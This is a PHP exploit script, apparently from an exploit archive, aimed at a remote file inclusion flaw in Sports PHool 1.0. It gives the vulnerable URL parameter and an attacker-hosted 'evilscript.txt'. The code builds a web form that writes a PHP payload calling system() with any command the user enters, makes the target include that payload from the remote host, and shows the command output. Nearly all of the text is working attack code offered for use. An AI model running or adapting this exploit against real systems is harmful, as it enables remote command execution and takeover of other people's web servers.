Sports PHool 1.0 Remote File Inclusion

`<?php  
  
/*  
Sports PHool <= 1.0 Remote File Include Exploit  
Found and c0ded by cr4wl3r @hackb0x  
d0rk: no d0rk f0r kiddi0ts  
Script: http://sourceforge.net/projects/sportsphool/files/  
  
usage:  
target: http://target/sportsphool/includes/layout/plain.footer.php?mainnav=  
evil: http://hackb0x/evilscript.txt?  
  
*/  
  
$cmd = $_POST["cmd"];  
$target = $_POST["target"];  
$evil = $_POST["evil"];  
  
$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"  
."target:<br><input type=\"text\" name=\"target\" size=\"90\" value=\"".$target."\"><br>"  
."evil:<br><input type=\"text\" name=\"evil\" size=\"90\" value=\"".$evil."\"><br>"  
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"  
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"  
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";  
  
if (!isset($_POST['submit']))  
{  
  
echo $form;  
  
}else{  
  
$file = fopen ("test.txt", "w+");  
  
fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");  
system(\"echo ++END++\"); ?>");  
fclose($file);  
  
$file = fopen ($target.$evil, "r");  
if (!$file) {  
echo "<p>Unable to get output.\n";  
exit;  
}  
  
echo $form;  
  
while (!feof ($file)) {  
$line .= fgets ($file, 1024)."<br>";  
}  
$tpos1 = strpos($line, "++BEGIN++");  
$tpos2 = strpos($line, "++END++");  
$tpos1 = $tpos1+strlen("++BEGIN++");  
$tpos2 = $tpos2-$tpos1;  
$output = substr($line, $tpos1, $tpos2);  
echo $output;  
  
}  
?>  
  
`